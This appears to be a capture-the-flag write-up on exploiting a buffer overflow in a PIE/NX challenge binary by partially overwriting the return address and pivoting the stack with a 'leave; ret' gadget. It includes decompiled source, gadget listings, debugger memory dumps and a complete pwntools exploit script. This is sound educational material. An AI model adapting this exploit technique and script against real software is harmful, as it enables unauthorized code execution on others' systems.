Partial Overwrite
Overwriting the LSB of a address or register (E.g RIP)
We have a binary with PIE & NX enabled.

Looking at the source code, we can determine that we have a win_ptr and a obvious buffer_overflow with leak to buffer.
void challenge(void)
{
int win;
void *win_ptr;
ssize_t input;
undefined8 input_buffer;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined4 local_c;
input_buffer = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
printf("[LEAK] Your input buffer is located at: %p.\n\n ",&input_buffer);
win_ptr = mmap((void *)0x0,312,3,34,0,0);
memcpy(win_ptr,&DAT_00103038,312);
result= mprotect(win_ptr,312,5);
if (result != 0) {
__assert_fail("mprotect(data.win_addr, 0x138, PROT _READ|PROT_EXEC) == 0","<stdin>",42,
"challenge");
}
input = read(0,&input_buffer,4096);
local_c = (undefined4)input;
puts("Leaving!");
return;
}
Since we have a buffer overflow, we can attempt to control RIP to try to stack pivot to our controlled buffer (input_buffer) where we can potentially place our ROP chain. Let's first look for a stack pivoting gadget by filtering for anything that deals with rsp.
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000000020bd: add al, ch; sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x00000000000020c4: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x00000000000020bc: add byte ptr [rax], al; call 0x10e0; mov eax, 0; leave; ret;
0x0000000000002008: add byte ptr [rax], al; call 0x10e0; nop; leave; ret;
0x00000000000020c6: add byte ptr [rax], al; leave; ret;
0x00000000000020be: call 0x10e0; mov eax, 0; leave; ret;
0x000000000000200a: call 0x10e0; nop; leave; ret;
0x0000000000002005: cmp eax, 0x10bf; call 0x10e0; nop; leave; ret;
0x0000000000001fff: dec dword ptr [rcx - 0x72b703bb]; cmp eax, 0x10bf; call 0x10e0; nop; leave; ret;
0x0000000000002004: lea edi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x0000000000002003: lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x0000000000002000: mov dword ptr [rbp - 4], eax; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x00000000000020c3: mov eax, 0; leave; ret;
0x00000000000020bf: sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret;
0x0000000000002002: cld; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret;
0x0000000000002010: leave; ret;
0x000000000000200f: nop; leave; ret;
We can use the leave; ret gadget since we control RBP and RIP.
We can also determine what is the offset from our leak the win pointer is by using a debugger like pwndbg
pwndbg> x/50gx 0x7ffcfa741500
0x7ffcfa741500: 0x0000000000000d68 0x00007f4f31ba8951
0x7ffcfa741510: 0x0000000000000d68 0x000000000000000a
0x7ffcfa741520: 0x00007f4f31d056a0 0x0000560df5fe30c9
0x7ffcfa741530: 0x0000560df5fe5010 0x00007f4f31d014a0
0x7ffcfa741540: 0x0000000000000000 0x00007f4f31ba8e93
0x7ffcfa741550: 0x0000000000000008 0x00007f4f31d056a0
0x7ffcfa741560: 0x0000560df5fe30c9 0x00007f4f31b9c59a
0x7ffcfa741570: 0x0000560df5fe20d0 0x00007ffcfa7415f0
0x7ffcfa741580: 0x0000560df5fe1160 0x00007ffcfa741710
0x7ffcfa741590: 0x0000000000000000 0x0000560df5fe200f
0x7ffcfa7415a0: 0x0000000000000000 0x00007ffcfa741728
0x7ffcfa7415b0: 0x00007ffcfa741718 0x0000000131ba653d
0x7ffcfa7415c0: 0
0x7ffcfa7415d0: 0x4949494949494949 0x4949494949494949
0x7ffcfa7415e0: 0x4949494949494949 0x0000017149494949
0x7ffcfa7415f0: 0x494e494949494949 0x4949494949494949
0x7ffcfa741600: 0x4949494949494949 0x4949494949494949
0x7ffcfa741610: 0x4949494949494949 0x4949494949494949
0x7ffcfa741620: 0x4949494e49494949 0x4949494949494949
0x7ffcfa741630: 0x4949494949494949 0x4949494949494949
0x7ffcfa741640: 0x4949494949494949 0x4949494949494949
0x7ffcfa741650: 0x49494949494e4949 0x4949494949494949
0x7ffcfa741660: 0x4949494949494949 0x4949494949494949
0x7ffcfa741670: 0x4949494949494949 0x4949494949494949
0x7ffcfa741680: 0x494949494949494e 0x4949494949494949
pwndbg> x/10gx 0x00007f4f31d38000
0x7f4f31d38000: 0x00ec8148e5894855 0x010101b848000001
0x7f4f31d38010: 0xb848500101010101 0x01010166606d672e
0x7f4f31d38020: 0x31e7894824043148 0x050f58026af631d2
0x7f4f31d38030: 0xb6d231c031c78948 0x016a050fe6894801
0x7f4f31d38040: 0x6ae68948c289485f
Knowing that we can simply "pivot" to the win pointer, we can come up with the following exploit chain.
Exploit Flow
Partial Overwrite last byte to go to our leave; ret gadget
Set RBP to an offset of leak-0x10 to account for POP RBP in leave; ret of the challenge function prologue
Execute leave; ret again via gadget so that we pivot to our win pointer and win
#!/usr/bin/env python3
from pwn import *
exe = ELF("./ni")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
while True:
try:
r = process([exe.path], aslr=True)
gdb.attach(r)
offset = 48
r.recvuntil(b'[LEAK] Your input buffer is located at: ')
leak = r.recvline()[:-2]
leak = int(leak, 16)
r.clean()
print(f"Input Buffer Leak : {hex(leak)}")
payload = b'A' * 40
payload += p64(leak-0x10)
payload += b'\x10\x00'
r.send(payload)
r.recvuntil(b'Leaving!')
result = r.recvline()
if b'hehehaha' in result:
print(result)
break
except Exception as e:
continue
def main():
r = conn()
r.interactive()
if __name__ == "__main__":
main()
What I learned
RSP is adjusted each time a pop/push instruction is executed
for pop gadgets, the values don't have to be user-controlled/valid, stack always have garbage values - as long the pop gadgets are not used for a syscall etc
Think about what registers i have control of and how do i manipulate it to point to where i want (rsp -/+ offset so that i can align my pop gadgets properly and retn to the right ptr?)
Dont be fixed in terms of looking for certain gadgets (e.g lea rsp, [rbp - 0x18]; pop rbx; pop r12; pop r13; pop rbp; ret; - can be used for pivoting too)
Last updated